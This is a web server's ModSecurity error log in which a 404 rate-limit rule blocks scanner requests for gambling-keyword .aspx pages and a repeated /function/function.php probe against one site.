[Thu Apr 30 04:10:25.429249 2026] [:error] [pid 18220:tid 18232] [client 54.36.60.45:35628] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afJlscyESVSfAPebmxbbEAAAAMk"]
[Thu Apr 30 04:10:27.969435 2026] [:error] [pid 18111:tid 18143] [client 54.36.60.45:35634] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afJls2ctLbxB7Q1_oK13bQAAABU"]
[Thu Apr 30 04:10:30.439056 2026] [:error] [pid 18112:tid 18170] [client 54.36.60.45:35650] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afJltiUrJv3y8j6Lm1uSAAAAAFQ"]
[Thu Apr 30 04:10:32.719360 2026] [:error] [pid 18113:tid 18179] [client 54.36.60.45:35658] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afJluHiIjwsVGkvz5IlHzQAAAII"]
[Thu Apr 30 04:10:35.275391 2026] [:error] [pid 18112:tid 18167] [client 54.36.60.45:53718] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afJluyUrJv3y8j6Lm1uSBQAAAFE"]
[Thu Apr 30 04:10:37.683920 2026] [:error] [pid 18112:tid 18156] [client 54.36.60.45:53730] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afJlvSUrJv3y8j6Lm1uSCwAAAEY"]
[Thu Apr 30 04:10:40.110630 2026] [:error] [pid 52350:tid 52381] [client 54.36.60.45:53734] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afJlwP1j4GHE9hm7bfchwgAAARc"]
[Thu Apr 30 04:10:42.530005 2026] [:error] [pid 18113:tid 18199] [client 54.36.60.45:53744] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afJlwniIjwsVGkvz5IlH0wAAAJY"]
[Thu Apr 30 04:10:45.090413 2026] [:error] [pid 18112:tid 18168] [client 54.36.60.45:42760] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afJlxSUrJv3y8j6Lm1uSEAAAAFI"]
[Thu Apr 30 04:10:47.625156 2026] [:error] [pid 52436:tid 52450] [client 54.36.60.45:42762] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afJlxwLFWPk_P7AfE8fK9AAAAUs"]
[Thu Apr 30 04:10:49.998035 2026] [:error] [pid 52436:tid 52462] [client 54.36.60.45:42778] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afJlyQLFWPk_P7AfE8fK-wAAAVc"]
[Thu Apr 30 04:10:52.534245 2026] [:error] [pid 52350:tid 52364] [client 54.36.60.45:42786] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afJlzP1j4GHE9hm7bfchzwAAAQY"]
[Thu Apr 30 04:10:55.070793 2026] [:error] [pid 52436:tid 52452] [client 54.36.60.45:50184] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afJlzwLFWPk_P7AfE8fLBAAAAU0"]
[Thu Apr 30 04:10:57.587924 2026] [:error] [pid 18220:tid 18239] [client 54.36.60.45:50196] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afJl0cyESVSfAPebmxbbMAAAANA"]
[Thu Apr 30 04:11:00.128518 2026] [:error] [pid 52350:tid 52373] [client 54.36.60.45:50202] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afJl1P1j4GHE9hm7bfch2gAAAQ8"]
[Thu Apr 30 04:11:02.526736 2026] [:error] [pid 18111:tid 18128] [client 54.36.60.45:50218] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afJl1mctLbxB7Q1_oK13mwAAAAY"]
[Thu Apr 30 04:11:05.065058 2026] [:error] [pid 52436:tid 52445] [client 54.36.60.45:37458] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afJl2QLFWPk_P7AfE8fLDgAAAUY"]
[Thu Apr 30 04:11:07.570278 2026] [:error] [pid 52436:tid 52458] [client 54.36.60.45:37472] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afJl2wLFWPk_P7AfE8fLFQAAAVM"]
[Thu Apr 30 04:11:10.089587 2026] [:error] [pid 52436:tid 52460] [client 54.36.60.45:37488] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afJl3gLFWPk_P7AfE8fLGAAAAVU"]
[Thu Apr 30 04:11:12.590039 2026] [:error] [pid 52436:tid 52448] [client 54.36.60.45:37500] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afJl4ALFWPk_P7AfE8fLHQAAAUk"]
[Thu Apr 30 04:11:33.511197 2026] [:error] [pid 52350:tid 52363] [client 54.36.60.45:57178] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "afJl9f1j4GHE9hm7bfch_wAAAQU"]
[Thu Apr 30 04:11:35.956701 2026] [:error] [pid 52350:tid 52367] [client 54.36.60.45:35538] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afJl9_1j4GHE9hm7bfciAQAAAQk"]
[Thu Apr 30 04:11:38.455012 2026] [:error] [pid 52350:tid 52374] [client 54.36.60.45:35546] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afJl-v1j4GHE9hm7bfciAwAAARA"]
[Thu Apr 30 04:11:40.815656 2026] [:error] [pid 18111:tid 18134] [client 54.36.60.45:35554] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afJl_GctLbxB7Q1_oK13uAAAAAw"]
[Thu Apr 30 04:11:43.291510 2026] [:error] [pid 52436:tid 52451] [client 54.36.60.45:35568] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afJl_wLFWPk_P7AfE8fLMAAAAUw"]
[Thu Apr 30 04:11:45.811972 2026] [:error] [pid 52350:tid 52362] [client 54.36.60.45:36054] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afJmAf1j4GHE9hm7bfciDwAAAQQ"]
[Thu Apr 30 04:11:48.325513 2026] [:error] [pid 52350:tid 52381] [client 54.36.60.45:36062] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afJmBP1j4GHE9hm7bfciFQAAARc"]
[Thu Apr 30 04:11:50.831032 2026] [:error] [pid 18111:tid 18143] [client 54.36.60.45:36066] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afJmBmctLbxB7Q1_oK13vAAAABU"]
[Thu Apr 30 04:11:53.172675 2026] [:error] [pid 52350:tid 52361] [client 54.36.60.45:36072] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afJmCf1j4GHE9hm7bfciIAAAAQM"]
[Thu Apr 30 04:11:55.655213 2026] [:error] [pid 52436:tid 52439] [client 54.36.60.45:45466] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afJmCwLFWPk_P7AfE8fLMwAAAUA"]
[Thu Apr 30 04:11:58.175493 2026] [:error] [pid 52350:tid 52371] [client 54.36.60.45:45476] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afJmDv1j4GHE9hm7bfciNAAAAQ0"]
[Thu Apr 30 04:12:00.672442 2026] [:error] [pid 52436:tid 52448] [client 54.36.60.45:45484] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afJmEALFWPk_P7AfE8fLOQAAAUk"]
[Thu Apr 30 04:12:03.159915 2026] [:error] [pid 52436:tid 52462] [client 54.36.60.45:45494] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afJmEwLFWPk_P7AfE8fLQgAAAVc"]
[Thu Apr 30 04:12:05.575088 2026] [:error] [pid 52436:tid 52462] [client 54.36.60.45:35444] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afJmFQLFWPk_P7AfE8fLTAAAAVc"]
[Thu Apr 30 04:12:07.822918 2026] [:error] [pid 18113:tid 18186] [client 54.36.60.45:35458] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afJmF3iIjwsVGkvz5IlH-gAAAIk"]
[Thu Apr 30 04:12:10.298442 2026] [:error] [pid 52436:tid 52453] [client 54.36.60.45:35464] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afJmGgLFWPk_P7AfE8fLUAAAAU4"]
[Thu Apr 30 04:12:12.626768 2026] [:error] [pid 52436:tid 52452] [client 54.36.60.45:35476] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afJmHALFWPk_P7AfE8fLUwAAAU0"]
[Thu Apr 30 04:12:15.124464 2026] [:error] [pid 52350:tid 52380] [client 54.36.60.45:39116] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afJmH_1j4GHE9hm7bfciSAAAARY"]
[Thu Apr 30 04:12:17.447685 2026] [:error] [pid 18220:tid 18243] [client 54.36.60.45:39122] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afJmIcyESVSfAPebmxbbXwAAANQ"]
[Thu Apr 30 04:12:19.957331 2026] [:error] [pid 52350:tid 52362] [client 54.36.60.45:39130] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afJmI_1j4GHE9hm7bfciTQAAAQQ"]
[Thu Apr 30 04:12:22.424606 2026] [:error] [pid 18112:tid 18150] [client 54.36.60.45:39134] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afJmJiUrJv3y8j6Lm1uSNgAAAEA"]
[Thu Apr 30 04:12:24.771207 2026] [:error] [pid 52436:tid 52450] [client 54.36.60.45:56184] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afJmKALFWPk_P7AfE8fLXAAAAUs"]
[Thu Apr 30 04:12:27.247077 2026] [:error] [pid 18220:tid 18246] [client 54.36.60.45:56188] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afJmK8yESVSfAPebmxbbZAAAANc"]
[Thu Apr 30 04:12:29.723902 2026] [:error] [pid 52350:tid 52380] [client 54.36.60.45:56190] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afJmLf1j4GHE9hm7bfciVgAAARY"]
[Thu Apr 30 04:12:51.079780 2026] [:error] [pid 52436:tid 52445] [client 54.36.60.45:56198] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afJmQwLFWPk_P7AfE8fLdgAAAUY"]
[Thu Apr 30 04:12:53.515349 2026] [:error] [pid 18113:tid 18177] [client 54.36.60.45:47836] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afJmRXiIjwsVGkvz5IlICwAAAIA"]
[Thu Apr 30 04:12:56.002422 2026] [:error] [pid 52436:tid 52443] [client 54.36.60.45:33554] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afJmSALFWPk_P7AfE8fLfgAAAUQ"]
[Thu Apr 30 04:12:58.485945 2026] [:error] [pid 52436:tid 52459] [client 54.36.60.45:33564] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afJmSgLFWPk_P7AfE8fLgQAAAVQ"]
[Thu Apr 30 04:13:00.802296 2026] [:error] [pid 18112:tid 18170] [client 54.36.60.45:33576] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afJmTCUrJv3y8j6Lm1uSPAAAAFQ"]
[Thu Apr 30 04:13:03.143917 2026] [:error] [pid 52436:tid 52461] [client 54.36.60.45:33592] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afJmTwLFWPk_P7AfE8fLiQAAAVY"]
[Thu Apr 30 04:13:05.627165 2026] [:error] [pid 18113:tid 18188] [client 54.36.60.45:36818] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afJmUXiIjwsVGkvz5IlIFAAAAIs"]
[Thu Apr 30 05:54:19.860032 2026] [:error] [pid 52436:tid 52457] [client 172.213.161.119:2694] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "afJ-CwLFWPk_P7AfE8fhrgAAAVI"]
[Thu Apr 30 05:54:20.833115 2026] [:error] [pid 18112:tid 18174] [client 172.213.161.119:22232] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "afJ-DCUrJv3y8j6Lm1uaxwAAAFg"]
[Thu Apr 30 05:54:21.763624 2026] [:error] [pid 18111:tid 18140] [client 172.213.161.119:19547] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "afJ-DWctLbxB7Q1_oK1_CwAAABI"]
